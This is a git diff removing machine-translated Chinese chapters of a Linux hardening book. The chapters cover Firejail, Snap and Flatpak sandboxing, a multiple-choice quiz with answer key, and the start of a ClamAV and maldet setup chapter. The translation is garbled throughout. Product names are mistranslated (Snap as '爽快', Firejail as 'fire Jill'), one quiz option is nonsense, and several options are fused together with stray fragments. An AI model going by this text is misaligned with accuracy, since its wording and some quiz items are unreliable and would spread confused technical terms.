的网络浏览器时,我无法在几个不同的网站上观看视频,包括 YouTube。Dropbox 和 Keepass 在 Firejail 下根本不起作用,尽管它们都有特定的配置文件。 - -而现在,在我的 Lubuntu 虚拟机上,无论我尝试在哪里冲浪,在 Firejail 下运行 Firefox 只会给我一个空白的浏览器页面。于是,我安装了`chromium-browser`并尝试了一下。到目前为止,它的效果要好得多,我甚至可以用它看 YouTube 视频。然后,我安装了 LibreOffice,到目前为止,它似乎在 Firejail 上运行良好。 - -在 Firejail 提供的众多选项中,有一个选项可以确保程序运行时不启用任何内核功能,或者只启用您指定的功能。手册页建议删除任何不需要超级用户权限的程序的所有功能。因此,对于铬,我们会做以下工作: - -```sh -firejail --caps.drop=all chromium-browser -``` - -那么,如果你只是想从“开始”菜单启动你的应用,就像你通常会做的那样,但仍然有 Firejail 保护呢?为此,您可以使用以下命令: - -```sh -sudo firecfg -``` - -该命令在`/usr/local/bin`目录中为每个有 Firejail 配置文件的程序创建符号链接。它们看起来像这样: - -```sh -donnie@donnie-VirtualBox:/usr/local/bin$ ls -l -total 0 -lrwxrwxrwx 1 root root 17 Nov 14 18:14 audacious -> /usr/bin/firejail -lrwxrwxrwx 1 root root 17 Nov 14 18:14 chromium-browser -> /usr/bin/firejail -lrwxrwxrwx 1 root root 17 Nov 14 18:14 evince -> /usr/bin/firejail -lrwxrwxrwx 1 root root 17 Nov 14 18:14 file-roller -> /usr/bin/firejail -lrwxrwxrwx 1 root root 17 Nov 14 18:14 firefox -> /usr/bin/firejail -lrwxrwxrwx 1 root root 17 Nov 14 18:14 galculator -> /usr/bin/firejail -. . . -. . . - -``` - -如果你发现一个程序在 Firejail 下不工作,只需进入`/usr/local/bin`并删除它的链接。 - -现在,你会想知道关于 Firejail 文档的一个非常奇怪的事情。在 fire Jill 手册页和 fire Jill 网站的主页上,都说可以使用 fire Jill 来沙箱化桌面应用、服务器应用和用户登录会话。然而,如果你点击 fire Jill 网站的文档选项卡,它会显示 fire Jill 只适用于单用户桌面系统。这是因为,为了完成任务,Firejail 可执行文件必须设置 SUID 权限位。Firejail 的开发人员认为,允许多个用户使用这个 SUID 程序访问一台机器是一种安全风险。 - -好了,说够了。让我们练习一下。 - -# 动手实验室——使用消防监狱 - -在本实验中,您将创建一个具有您最喜欢的桌面 Ubuntu 风格的虚拟机。让我们开始吧: - -1. 用你最喜欢的 Ubuntu 风格创建一个虚拟机。要像我一样使用 Lubuntu,只需使用以下下载链接:[http://cdimage . Ubuntu . com/Lubuntu/releases/18.04/release/Lubuntu-18 . 04 . 3-desktop-amd64 . iso](http://cdimage.ubuntu.com/lubuntu/releases/18.04/release/lubuntu-18.04.3-desktop-amd64.iso)。 -2. 使用以下命令更新虚拟机: - -```sh -sudo apt update -sudo dist-upgrade -``` - -然后,重新启动机器。 - -3. 安装防火墙、LibreOffice 和 Chromium: - -```sh -sudo apt install firejail libreoffice chromium-browser -``` - -4. 在一个终端窗口中,启动没有任何内核功能的 Chromium: - -```sh -firejail --caps.drop=all chromium-browser -``` - -5. 浏览各种网站,看看是否一切正常。 -6. 在另一个终端窗口中,启动 LibreOffice,也没有任何功能: - -```sh -firejail --caps.drop=all libreoffice -``` - -7. 创建各种类型的图书馆办公室文档,并尝试各种图书馆办公室功能,看看有多少仍然正常工作。 -8. 关闭铬和 LibreOffice。 -9. 配置 Firejail,使其自动沙箱化您启动的每个应用,即使您是从正常的“开始”菜单执行此操作: - -```sh -sudo firecfg -``` - -10. 看看创建的符号链接: - -```sh -ls -l /usr/local/bin -``` - -11. 尝试从普通菜单打开 Firefox。除非在我写这篇文章之后事情已经解决了,否则你应该只会看到空白的浏览器页面。所以,关闭火狐。 - -12. 好吧。所以你将无法用沙箱保护火狐。为了能够在没有 Firejail 的情况下运行 Firefox,只需从`/user/local/bin`目录中删除它的符号链接,如下所示: - -```sh -sudo rm /usr/local/bin/firefox -``` - -13. 尝试再次运行 Firefox。你应该看到它正常启动。 - -您已经完成了本实验–祝贺您! - -消防监狱的选择比我在这里展示的要多得多。有关更多信息,请参见 fire Jill 手册页和 fire Jill 网站上的文档。 - -到目前为止,您已经看到了使用 Firejail 的好处和坏处。接下来,我们将看几个通用的 Linux 打包系统。 - -# 用爽快的沙盒 - -在 Windows 世界和 Mac 世界中,操作系统和它们可以运行的应用是相互独立销售的。所以,你买一台运行 Windows 或 macOS 的电脑,然后你单独购买应用。说到做更新,你必须更新操作系统,然后分别更新每个应用。 - -在 Linux 世界中,您所需要的大多数应用都在您的 Linux 发行版的存储库中。要安装一个应用,您只需使用您的发行版的包管理实用程序——apt、yum、dnf 或其他任何工具——来安装它。然而,事实证明,这既是一种祝福,也是一种诅咒。它确实可以更容易地跟踪您的应用,并保持最新的错误修复和安全更新的安装。但是除非你运行的是一个滚动发行版,比如 Arch,否则在你的 Linux 发行版生命周期结束之前,应用包将会过时。这是因为发行版维护者使用的应用版本在发行版发布时是最新的,他们直到发行版的下一个版本发布时才升级到新的应用版本。这也让应用开发人员感到困难,因为每个 Linux 发行版系列都使用自己的打包格式。所以,如果有一种通用的打包格式,可以在所有 Linux 发行版中工作,并且可以轻松地保持最新,那不是很好吗? - -通用打包始于几年前的 AppImage 包。然而,他们从未真正了解这一点,并且他们不提供任何沙盒功能。所以,这就是我要说的关于他们的一切。 - -接下来是 Ubuntu 的 Snapter 系统,它允许开发人员创建快照包,这些包应该在任何可以安装 Snapter 系统的系统上运行。每个 snap 应用都在自己的独立沙箱中运行,这有助于保护系统免受恶意程序的攻击。由于快照应用可以在没有根权限的情况下安装,因此不需要担心恶意程序会使用根权限来做不该做的事情。每个快照包都是一个独立的单元,这意味着您不必担心安装依赖项。您甚至可以为包含多个服务的服务器创建快照包。快照守护程序不断在后台运行,自动更新自身和任何已安装的快照应用。 - -尽管这听起来很好,但有几件事让它有点争议。首先,Ubuntu 的人拒绝发布爽快应用服务器的源代码。因此,不可能查看源代码,也不可能设置自己的本地爽快服务器。如果您开发快照包并想要部署它们,即使这只是在您自己的本地网络上,您也别无选择,只能使用 Ubuntu 母公司 Canonical 运行的中央快照包门户。这确实违背了整个 GNU/Linux 生态系统应该代表的软件自由。然而,典型的人们这样做是为了验证被分发的快照包的安全性。 - -其次,即使快照包被沙箱化以保护系统,其他奇怪的事情也会发生。在“爽快”系统上线后不久,一名软件包开发人员被发现在他的一个软件包中偷偷放入了一些 Monero 采矿软件。虽然他只是想把他的努力货币化,并没有恶意,但在没有告诉你的潜在客户的情况下,把这种东西偷偷放进你的包里仍然是不好的。在那之后,Canonical 的人加紧努力扫描上传到门户网站的包,以防止这种事情再次发生。 - -然后,还有用户控制的问题。用户无法控制包何时更新。快照守护程序将更新您安装的软件包,无论您是否真的希望它这样做。 - -最后,将每个快照包作为一个独立的单元会增加磁盘空间的使用。每个包都包含其应用使用的所有链接库,这意味着您可能有多个包都使用相同的库。对于当今现代的大容量硬盘来说,这不一定是什么大问题,但如果磁盘空间不足,这可能是个问题。 - -如果你正在运行 Ubuntu,你可能已经运行了爽快服务。在某个时候(我忘了是什么时候),Ubuntu 的人开始在 Ubuntu 服务器的默认安装中加入了爽快。但是,它没有安装在我的 Lubuntu 18.04 虚拟机上。要安装它,我将使用以下命令: - -```sh -sudo apt update -sudo apt install snapd -``` - -在许多非 Ubuntu 发行版的存储库中也可以使用 finder。它在 Fedora 的普通存储库中,在红帽和 CentOS 的 EPEL 存储库中。 - -那么,对于一个忙碌的管理员来说,如何让“爽快”变得有用呢?好吧,假设你头发尖尖的老板刚刚告诉你设置一个 Nextcloud 服务器,这样员工就可以有一个中心位置来存储他们的文档。然而,你正处于一个时间的紧要关头,你不想跳过设置一个 LAMP 系统的所有独立组件的步骤。没问题–只需安装一个快照。首先,让我们看看有什么可用的: - -```sh -donnie@ubuntu1804-1:~$ snap search nextcloud -Name Version Publisher Notes Summary -nextcloud 16.0.5snap3 nextcloud√ - Nextcloud Server - A safe home for all your data -spreedme 0.29.5snap1 nextcloud√ - Spreed.ME audio/video calls and conferences feature for the Nextcloud Snap -onlyoffice-desktopeditors 5.4.1 onlyoffice√ - A comprehensive office suite for editing documents, spreadsheets and presentations -qownnotes 19.11.13 pbek - Plain-text file markdown note taking with Nextcloud / ownCloud integration -nextcloud-port8080 1.01 arcticslyfox - Nextcloud Server -. . . -. . . -``` - -有很多选择。我们可以使用`info`选项将范围缩小一点: - -```sh -donnie@ubuntu1804-1:~$ snap info nextcloud -name: nextcloud -summary: Nextcloud Server - A safe home for all your data -publisher: Nextcloud√ -contact: https://github.com/nextcloud/nextcloud-snap -license: AGPL-3.0+ -description: | - Where are your photos and documents? With Nextcloud you pick a server of your choice, at home, in - a data center or at a provider. And that is where your files will be. Nextcloud runs on that - server, protecting your data and giving you access from your desktop or mobile devices. Through - Nextcloud you also access, sync and share your existing data on that FTP drive at school, a - Dropbox or a NAS you have at home. -. . . -. . . -``` - -看起来这就是我需要的。那么,让我们安装它: - -```sh -donnie@ubuntu1804-1:~$ snap install nextcloud - error: access denied (try with sudo) - donnie@ubuntu1804-1:~$ -``` - -嘿,现在。我不是应该可以在没有 root 权限的情况下做到这一点吗?嗯,是的,但只有在我登录我的 Ubuntu One 帐户后。创建账户,只需进入[https://login.ubuntu.com/](https://login.ubuntu.com/)的注册页面。 - -然后,返回命令行,使用您的新凭据登录快照存储: - -```sh -donnie@ubuntu1804-1:~$ sudo snap login -[sudo] password for donnie: -Personal information is handled as per our privacy notice at -https://www.ubuntu.com/legal/dataprivacy/snap-store -Email address: donniet@any.net -Password of "donniet@any.net": -Login successful -donnie@ubuntu1804-1:~$ -``` - -这是你最后一次需要在这台机器上使用`sudo`和 snap 命令。现在,我可以安装 Nextcloud: - -```sh -donnie@ubuntu1804-1:~$ snap install nextcloud -nextcloud 16.0.5snap3 from Nextcloud√ installed -donnie@ubuntu1804-1:~$ -``` - -这一次,成功了。要启动它,只需使用以下命令: - -```sh -donnie@ubuntu1804-1:~$ snap start nextcloud -Started. -donnie@ubuntu1804-1:~$ -``` - -最后,从台式机上,导航到 Nextcloud 服务器的 IP 地址,单击创建管理帐户,填写完所有详细信息后,单击完成设置: - -![](img/106dd71c-1972-4864-bccc-8865be0be6fc.png) - -很简单,对吧?想象一下,用传统方式做这件事要花多长时间。唯一的小问题是它运行在一个未加密的 HTTP 连接上,所以你肯定不想把它暴露在互联网上。 - -Snapcraft 存储是 Canonical 的快照包官方存储库。任何想要的人都可以创建一个账户并上传自己的照片。桌面/工作站、服务器和物联网设备有很多应用。支持几种不同的机器架构,包括 x86_64、ARM 和 PowerPC。(所以是的,这甚至可以对你的树莓 Pi 设备有用。)这可以从下面的截图中看到: - -![](img/153a7ae7-6195-46d7-a90b-b99ee9e4599a.png) - -差不多就这些了。尽管有争议,这仍然是一个相当酷的概念。 - -If you have to deploy IoT devices, you might want to look into Ubuntu Core. It's a stripped-down version of Ubuntu that consists wholly of snap packages. Space doesn't permit me to cover it in detail here, but you can read all about it at [https://ubuntu.com/core](https://ubuntu.com/core). - -现在,您已经看到了如何使用 Ubuntu 的爽快系统,我们将看看 Fedora 的 Flatpak 系统。 - -# 用 Flatpak 沙盒 - -由 Fedora Linux 团队创建的 Flatpak 系统与 Ubuntu 的 nimpt 系统的工作目标相同,但在实现上有显著的差异。您可以让一个或两个系统在任何给定的 Linux 机器上运行。无论使用哪种系统,您都可以创建一个通用的软件包,该软件包可以在任何安装了 finder 或 Flatpak 的机器上运行。两个系统都在各自的安全沙箱中运行各自的应用。 - -然而,正如我之前提到的,有一些不同之处: - -* Flatpak 安装应用可以访问的共享运行时库,而不是让每个应用包完全独立。这有助于减少磁盘空间的使用。 -* Fedora 家族经营着一个他们称之为 Flathub 的中央仓库。然而,他们也让任何想要建立自己的 Flatpak 存储库的人都可以使用服务器代码。 -* Flatpak 只需要稍微多花一点功夫来设置,因为在您安装它之后,您必须配置它来使用所需的存储库。 -* Snapcraft 商店有供服务器、桌面和物联网使用的软件包。Flathub 主要有桌面应用。 - -根据您运行的发行版,您可能已经安装了 Flatpak 系统,也可能没有安装。在 Debian/Ubuntu 系统上,使用以下命令安装它: - -```sh -sudo apt update -sudo apt install flatpak -``` - -在 RHEL、CentOS 和 Fedora 系统上,很有可能已经安装了。如果不是,用正常的`yum`或`dnf`命令安装即可。安装完 Flatpak 后,请转到 Flatpak 快速设置页面,了解如何进行配置。点击你正在运行的发行版的图标,并按照指示操作。 - -You'll find the Quick Setup page here: [https://flatpak.org/setup/](https://flatpak.org/setup/). - -不过,奇怪的是,如果你点击 CentOS 或 Red Hat 的图标,你会看到安装 Flathub 存储库的指令,但它没有说明如何操作。不过,没关系。只需点击任何其他发行版的图标,您就会看到正确的命令,如下所示: - -```sh -sudo flatpak remote-add --if-not-exists flathub https://flathub.org/repo/flathub.flatpakrepo -``` - -按说,这是唯一需要 sudo 权限的`flatpak`命令。(我说,可能是因为实际上,某些运行时库包确实需要 sudo 权限才能安装。) - -安装存储库后,重新启动计算机。机器重新启动后,您就可以安装一些应用了。选择一个,去 Flathub 网站浏览,直到你找到你想要的东西。 - -You'll find Flathub here: [https://flathub.org/home](https://flathub.org/home). - -假设您已经浏览了生产力应用,并找到了 Bookworm 电子书阅读器。点击链接进入 Bookworm 应用页面。您将在顶部看到一个安装按钮。如果你点击那个按钮,你将下载 Bookworm 的安装文件。要安装它,您仍然需要在命令行中键入一个命令。您最好向下滚动到页面底部,在那里您将看到同时下载和安装应用的命令: - -![](img/2fbe1cf9-b01a-4afc-96d3-5f6bcb7012fd.png) - -还有运行应用的命令,但您可能不需要它。根据您运行的发行版,您可能会也可能不会在“开始”菜单中为您创建图标。(我唯一没见过的发行版是 Debian。) - -As I mentioned previously, `flatpak` commands sometimes require sudo privileges, and sometimes they don't. Try running your `flatpak` command without `sudo` first. If it doesn't work, just do it again with `sudo`. - -与爽快不同,Flatpak 不会自动更新其应用。您必须通过定期执行以下命令来自己完成: - -```sh -flatpak update -``` - -在本节中,您将了解使用爽快包装系统和扁平包装系统的基本知识。对于每一个,开发人员可以只打包他们的应用一次,而不是用多种类型的包进行多次打包。最终用户可以使用它们,以便他们的应用总是最新的,而不必坚持使用他们发行版库中更过时的版本。此外,与本书的整体背景保持一致,理解通过在它们自己的独立沙箱中运行应用,这两个系统都提供了额外的应用安全措施。 - -# 摘要 - -所以,另一个大篇章已经过去了,我们已经看到了很多很酷的东西。我们从查看`/proc`文件系统以及如何配置它的一些设置以获得最佳的安全性开始。之后,我们研究了如何使用 cgroups、名称空间、内核功能和 SECCOMP 将进程相互隔离。我们用一些使用这些酷技术的实用程序和包管理系统的例子来结束这一章。 - -在下一章中,我们将讨论扫描、审计和加固系统的不同方法。到时候见。 - -# 问题 - -1. 以下哪一项是正确的? - A. `/proc`就像 Linux 文件系统中的任何其他目录一样。 - B. `/proc`是 Linux 中唯一的伪文件系统。 - C. `/proc`是 Linux 中几个伪文件系统之一。 - D .您可以使用`systemctl`命令设置`/proc`参数的值。 - -2. 您将使用以下哪个命令来设置`/proc`参数的值? - a .`sudo systemctl -w`T7】b .`sudo sysctl -w`T8】c .`sudo procctl -w`T9】d .`sudo sysctl -o`T10】e .`sudo systemctl -o` -3. 您需要一个可执行的程序以一个特定的根权限运行,而不需要向运行它的人授予任何根权限。你会怎么做? - A .添加一个命名空间。 - B .创建 SECCOMP 配置文件。 - 诸侯王加 SUID 诛杀。 - D .增加一个内核能力。 -4. 在哪里可以找到关于用户进程的信息? - 答:在`/proc`文件系统的编号子目录中。 - B .在`/proc`文件系统的按字母顺序命名的子目录中。`/dev`目录中的 - C。 - D .在每个用户的主目录中。 -5. 什么是系统调用? - A .它告诉 Linux 内核代表用户执行一个特权动作。 - B .它将新的系统信息调入内核。 - 它跟踪系统内核正在做的所有事情。 - D .它将对系统资源的调用相互隔离。 -6. 让用户只看到自己流程的信息,最好的方法是什么? - A .将`hidepid=2`选项添加到 GRUB 配置中的内核启动参数中。 - B .在 GRUB 配置中将`nopid=1`选项添加到内核启动参数中。将`nopid=1`选项添加到`/etc/fstab`文件中。将`hidepid=1`选项添加到`/etc/fstab`文件中。 -7. 为了获得最佳安全性,您会使用以下哪个命令来查看哪些内核参数需要更改? - a .`sudo audit system`T5】b .`sudo lynis audit system`T6】c .`sudo system audit`T7】d .`sudo lynis system audit` - -8. 以下哪个命令允许非特权用户在不使用根特权的情况下在端口 80 上启动 Python web 服务器? - a .`sudo setcap 'CAP_NET_SERVICE+ep' /usr/bin/python2.7`T5】b .`sudo setcap 'CAP_NET_BIND_SERVICE+ep' /usr/bin/python2.7`T6】c .`sudo getcap 'CAP_NET_BIND_SERVICE+ep' /usr/bin/python2.7`T7】d .`sudo setcap 'CAP_NET_SERVICE+ep' /usr/bin/python2.7` -9. 爽快系统和 Flatpak 系统的主要区别是什么? - A .没有。 - B. Flatpak 包是完全独立的,但是爽快包让你安装独立的运行时包。 - C .爽快包是完全独立的,但是 Flatpak 包让你安装独立的运行时包。 - D. Flatpak 包在自己的沙箱中运行,而 nimpt 包则没有。 - e . nimpt 包在自己的沙箱中运行,但是 Flatpak 包不运行。 -10. 您需要限制 Docker 容器可以进行的系统调用的数量。你会怎么做? - A .在自己的组中创建容器,并为该组配置系统调用限制。 - B .在自己的命名空间中创建容器,并为该命名空间配置 syscall 限制。 - C .在火牢下运行容器。 - D .用 SECCOMP 配置文件创建容器。 - -# 答案 - -1. C. -2. B. -3. D. -4. A. -5. A. -6. D. -7. B. -8. B. -9. C. -10. D. - -# 进一步阅读 - -* 探索`/proc`文件系统:[https://www . tec mint . com/exploring-proc-file-system-in-Linux/](https://www.tecmint.com/exploring-proc-file-system-in-linux/) -* Linux 内核安全子系统 wiki:[https://kernsec.org/wiki/index.php/Main_Page](https://kernsec.org/wiki/index.php/Main_Page) -* Linux 魔法系统请求密钥黑客:[https://www . kernel . org/doc/html/latest/admin-guide/sysrq . html](https://www.kernel.org/doc/html/latest/admin-guide/sysrq.html) -* Linux 获取内核“锁定”功能:[https://www . zdnet . com/article/Linux 获取内核-锁定-功能/](https://www.zdnet.com/article/linux-to-get-kernel-lockdown-feature/) -* 保护 RHEL 的硬链接和符号链接 -* 记录可疑的火星数据包:[https://www . cyber iti . biz/FAQ/Linux-log-可疑-火星-数据包-不可路由-来源-地址/](https://www.cyberciti.biz/faq/linux-log-suspicious-martian-packets-un-routable-source-addresses/) -* 防止使用 ptract:[https://Linux-audit . com/protect-ptrace-processes-kernel-yama-ptrace _ scope/](https://linux-audit.com/protect-ptrace-processes-kernel-yama-ptrace_scope/) -* Linux 控制组介绍(cggroups):[https://access . RedHat . com/documentation/en-us/red _ hat _ enterprise _ Linux/7/html/resource _ management _ guide/chap-introduction _ to _ Control _ Groups](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/resource_management_guide/chap-introduction_to_control_groups) -* RHEL 7:如何开始使用 cggroups:[https://www.certdepot.net/rhel7-get-started-cgroups/](https://www.certdepot.net/rhel7-get-started-cgroups/) -* 限制带系统组的 Ubuntu 19.10 的中央处理器使用:[https://youtu.be/_AODvcO5Q_8](https://youtu.be/_AODvcO5Q_8) -* 控制组对命名空间:[https://youtu.be/dTOT9QKZ2Lw](https://youtu.be/dTOT9QKZ2Lw) -* 如何管理 Linux 文件功能:[https://www . how toforge . com/如何管理-Linux-文件-功能/](https://www.howtoforge.com/how-to-manage-linux-file-capabilities/) -* getcap、setcap 和文件功能:[https://www.insecure.ws/linux/getcap_setcap.html](https://www.insecure.ws/linux/getcap_setcap.html) -* Docker 安全功能–SECCOMP 配置文件:[https://blog . aquasec . com/new-docker-security-features-及其含义-seccomp-profiles](https://blog.aquasec.com/new-docker-security-features-and-what-they-mean-seccomp-profiles) -* 码头工人文件–码头工人安全:[https://docs.docker.com/engine/security/security/](https://docs.docker.com/engine/security/security/) -* 消防监狱网站:[https://firejail.wordpress.com/](https://firejail.wordpress.com/) -* 消防监狱文件:[https://firejail.wordpress.com/documentation-2/](https://firejail.wordpress.com/documentation-2/) -* Linux 上的 App Packages 简介:[https://FOSS post . org/education/App-Packages-Linux-snap-flat pak-App image](https://fosspost.org/education/app-packages-linux-snap-flatpak-appimage) - -* Ubuntu 快照使用教程:[https://tutorials.ubuntu.com/tutorial/basic-snap-usage#0](https://tutorials.ubuntu.com/tutorial/basic-snap-usage#0) -* 官方标准 Snapcraft 商店:[https://snapcraft.io/](https://snapcraft.io/) -* Linux 桌面应用交付的未来是 Flatpak 和 Snap:[https://www . zdnet . com/article/the-未来的 Linux-桌面-应用-交付-是 flatpak 和 snap/](https://www.zdnet.com/article/the-future-of-linux-desktop-application-delivery-is-flatpak-and-snap/) -* 平面集线器:https://flat hub . org/home -* Flatpak 应用机密管理的三种方法:[https://open source . com/article/19/11/机密-管理-Flatpak-应用](https://opensource.com/article/19/11/secrets-management-flatpak-applications) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/11.md b/docs/master-linux-sec-hard/11.md deleted file mode 100644 index 35e7ecb3..00000000 --- a/docs/master-linux-sec-hard/11.md +++ /dev/null @@ -1,1762 +0,0 @@ -# 十一、扫描、审计和加固 - -一个常见的误解是,Linux 用户从来不需要担心恶意软件。是的,的确 Linux 比 Windows 更能抵抗病毒。但是病毒只是恶意软件的一种类型,其他类型的恶意软件也可以植入到 Linux 机器上。此外,如果您运行的服务器将与 Windows 用户共享文件,您需要确保不与他们共享任何感染病毒的文件。 - -虽然 Linux 系统日志文件很好,但它们并不总是很好地描述谁做了什么或谁访问了什么。可能是入侵者或内部人员试图访问他们无权访问的数据。我们真正想要的是一个好的审计系统,当人们做了他们不应该做的事情时,它会提醒我们。 - -此外还有法规遵从性的问题。您的组织可能不得不与一个或多个管理机构打交道,这些机构规定您如何加固服务器以抵御攻击。如果你不遵守规定,你可能会被罚款或停业。 - -幸运的是,我们有办法处理所有这些问题,它们并没有那么复杂。 - -在本章中,我们将涵盖以下主题: - -* 安装和更新 ClamAV 和 maldet -* 用 ClamAV 和 maldet 扫描 -* SELinux 注意事项 -* 用 Rootkit 猎人扫描 Rootkit -* 使用字符串和病毒总数执行快速恶意软件分析 -* 控制审计后台程序 -* 创建审计规则 -* 使用`ausearch`和`aureport`实用程序搜索审计日志中的问题 -* `oscap`,用于管理和应用 OpenSCAP 策略的命令行实用程序 -* 管理和应用 OpenSCAP 策略的图形用户界面工具 -* OpenSCAP 策略文件以及每个文件设计要满足的合规标准 -* 在操作系统安装期间应用策略 - -如果你准备好了,让我们从一个基于 Linux 的病毒扫描解决方案开始。 - -# 技术要求 - -本章的代码文件可以在这里找到:[https://github . com/packt publishing/Mastering-Linux-Security-and-Harding-第二版](https://github.com/PacktPublishing/Mastering-Linux-Security-and-Hardening-Second-Edition)。 - -# 安装和更新 ClamAV 和 maldet - -虽然我们不必太担心病毒感染我们的 Linux 机器,但我们确实需要担心与 Windows 用户共享受感染的文件。ClamAV 是一个免费的开源软件 ( **自由/开源软件**)反病毒解决方案,可以在你典型的视窗工作站上运行。附带的`freshclam`实用程序允许您更新病毒特征。 - -**Linux 恶意软件检测**,你会经常看到缩写为 **LMD** 或 **maldet** 的,是另一个可以与 ClamAV 一起工作的自由/开源软件反病毒程序。(为了节省打字时间,从现在开始,我只称它为 LMD 或马尔代特。)据我所知,它在任何 Linux 发行版的存储库中都不可用,但安装和配置它仍然足够简单。它的一个特点是,当它在网络的边缘入侵检测系统上看到恶意软件时,它会自动生成恶意软件检测签名。最终用户也可以提交自己的恶意软件样本。当您安装它时,您将获得一个已经启用的 systemd 服务和一个 cron 作业,它将定期更新恶意软件签名和程序本身。它与 Linux 内核的 inotify 功能一起工作,自动监控目录中已更改的文件。安装它的过程基本上是 - -You can get all the nitty-gritty details about LMD at [https://www.rfxn.com/projects/linux-malware-detect/](https://www.rfxn.com/projects/linux-malware-detect/). - -我们将 ClamAV 和 LMD 安装在一起的原因是,正如 LMD 人自由承认的那样,ClamAV 扫描引擎在扫描大型文件集时提供了更好的性能。此外,通过将它们放在一起,ClamAV 可以使用 LMD 恶意软件签名以及它自己的恶意软件签名。 - -Just to be clear... -Viruses are a real problem for computers that run the Windows operating system. But, as far as anyone has been able to tell, there's no such thing as a virus that can harm a Linux-based operating system. So, the only real reason to run an antivirus solution on a Linux machine is to prevent infecting any Windows machines on your network. This means that you don't need to worry about installing an antivirus product on your Linux-based DNS servers, DHCP servers, and so forth. But, if you have a Linux-based email server, Samba server, download server, or any other Linux-based machine that shares files with Windows computers, then installing an antivirus solution is a good idea. - -好了,理论到此为止。让我们把手弄脏,好吗? - -# 动手实验–安装 ClamAV 和 maldet - -我们将从安装 ClamAV 开始。(它在 Ubuntu 的正常存储库中,但不在 CentOS 的存储库中。对于 CentOS,您需要安装 EPEL 存储库,正如我在[第 1 章](01.html)、*在虚拟环境中运行 Linux*中向您展示的那样。)我们还会安装`wget`,用来下载 LMD。对于本实验,您可以使用 Ubuntu、CentOS 7 或 CentOS 8。让我们开始吧: - -1. 以下命令将在 Ubuntu 上安装 ClamAV 和`wget`: - -```sh -donnie@ubuntu3:~$ sudo apt install clamav wget inotify-tools -``` - -以下命令将在 CentOS 7 上安装 ClamAV、`inotify-tools`和`wget`: - -```sh -[donnie@localhost ~]$ sudo yum install clamav clamav-update wget inotify-tools -``` - -对于 CentOS 8,请执行以下操作: - -```sh -[donnie@localhost ~]$ sudo dnf install clamav clamav-update wget inotify-tools -``` - -Note that if you chose the Minimal installation option when creating the CentOS **virtual machine** (**VM**), you may also have to install the `perl` and the `tar` packages. - -对于 Ubuntu 来说,`clamav`包包含了你需要的一切。对于 CentOS,您还需要安装`clamav-update`以获取病毒更新。 - -其余步骤对于任何一台虚拟机都是相同的。 - -2. 接下来,您将下载并安装 LMD。 - -在这里,你会想做一些我很少告诉人们去做的事情。也就是说,您将希望登录到根用户 shell。原因是,尽管 LMD 安装程序在`sudo`上运行良好,但最终程序文件将归执行安装的用户所有,而不是由根用户所有。从根用户的 shell 执行安装为我们省去了跟踪这些文件和更改所有权的麻烦。因此,下载文件,如下所示: - -```sh -sudo su - -wget http://www.rfxn.com/downloads/maldetect-current.tar.gz -``` - -现在,您将在根用户的主目录中拥有该文件。 - -3. 现在,提取归档文件并输入结果目录: - -```sh -tar xzvf maldetect-current.tar.gz -cd maldetect-1.6.4/ -``` - -4. 运行安装程序。安装程序完成后,将`README`文件复制到您自己的主目录中,以便您可以随时参考。(本`README`文件为 LMD 文件。)然后,从根用户的 shell 退出,回到自己的 shell: - -```sh -root@ubuntu3:~/maldetect-1.6.4# ./install.sh -Created symlink from /etc/systemd/system/multi-user.target.wants/maldet.service to /usr/lib/systemd/system/maldet.service. -update-rc.d: error: initscript does not exist: /etc/init.d/maldet -. . . -. . . -maldet(22138): {sigup} signature set update completed -maldet(22138): {sigup} 15218 signatures (12485 MD5 | 1954 HEX | 779 YARA | 0 USER) - -root@ubuntu3:~/maldetect-1.6.4# cp README /home/donnie - -root@ubuntu3:~/maldetect-1.6.4# exit -logout -donnie@ubuntu3:~$ - -``` - -如您所见,安装程序会自动创建启用`maldet`服务的符号链接,并且还会自动下载和安装最新的恶意软件签名。 - -5. 对于 CentOS,安装程序复制到`/lib/systemd/system`目录的`maldet.service`文件有错误的 SELinux 上下文,这将阻止 maldet 启动。通过执行以下操作来更正 SELinux 上下文: - -```sh -sudo restorecon /lib/systemd/system/maldet.service -``` - -您已经到达了实验室的终点–祝贺您! - -# 动手实验室-配置 maldet - -在以前的版本中,maldet 默认配置为自动监视和扫描用户的主目录。在当前版本中,默认情况下它只监控`/dev/shm`、`/var/tmp`和`/tmp`目录。我们将重新配置它,以便可以添加一些目录。让我们开始吧: - -1. 打开`/usr/local/maldetect/conf.maldet`文件进行编辑。找到这两行: - -```sh -default_monitor_mode="users" -# default_monitor_mode="/usr/local/maldetect/monitor_paths" -``` - -将它们更改为以下内容: - -```sh -# default_monitor_mode="users" -default_monitor_mode="/usr/local/maldetect/monitor_paths" -``` - -2. 在文件顶部,启用电子邮件提醒,并将您的用户名设置为电子邮件地址。这两行现在应该如下所示: - -```sh -email_alert="1" -email_addr="donnie" -``` - -3. LMD 还没有被配置成将可疑文件移动到`quarantine`文件夹,我们想让它这样做。在`conf.maldet`文件的更下方,查找如下内容的行: - -```sh -quarantine_hits="0" -``` - -将其更改为以下内容: - -```sh -quarantine_hits="1" -``` - -You'll see a few other quarantine actions that you can configure, but, for now, this is all we need.  - -4. 保存`conf.maldet`文件,因为这是我们需要对其进行的所有更改。 -5. 打开`/usr/local/maldetect/monitor_paths`文件进行编辑。添加要监视的目录,如下所示: - -```sh -/var/dev/shm -/var/tmp -/tmp -/home -/root -``` - -Since viruses affect Windows and not Linux, just monitor the directories with files that will be shared with Windows machines. - -6. 保存文件后,启动`maldet`守护程序: - -```sh -sudo systemctl start maldet -``` - -You can add more directories to the `monitor_paths` file at any time, but remember to restart the `maldet` daemon any time that you do, in order to read in the new additions. - -您已经到达了实验室的终点–祝贺您! - -现在,让我们谈谈如何保持 ClamAV 和 maldet 的更新。 - -# 更新 ClamAV 和 maldet - -对于忙碌的管理员来说,好消息是,您不必做任何事情来保持这些更新,我们可以查看系统日志文件: - -```sh -Dec 8 20:02:09 localhost freshclam[22326]: ClamAV update process started at Fri Dec 8 20:02:09 2017 -Dec 8 20:02:29 localhost freshclam[22326]: Can't query current.cvd.clamav.net -Dec 8 20:02:29 localhost freshclam[22326]: Invalid DNS reply. Falling back to HTTP mode. -Dec 8 20:02:29 localhost freshclam[22326]: Reading CVD header (main.cvd): -Dec 8 20:02:35 localhost freshclam[22326]: OK -Dec 8 20:02:47 localhost freshclam[22326]: Downloading main-58.cdiff [100%] -Dec 8 20:03:19 localhost freshclam[22326]: main.cld updated (version: 58, sigs: 4566249, f-level: 60, builder: sigmgr) -. . . -. . . -Dec 8 20:04:45 localhost freshclam[22326]: 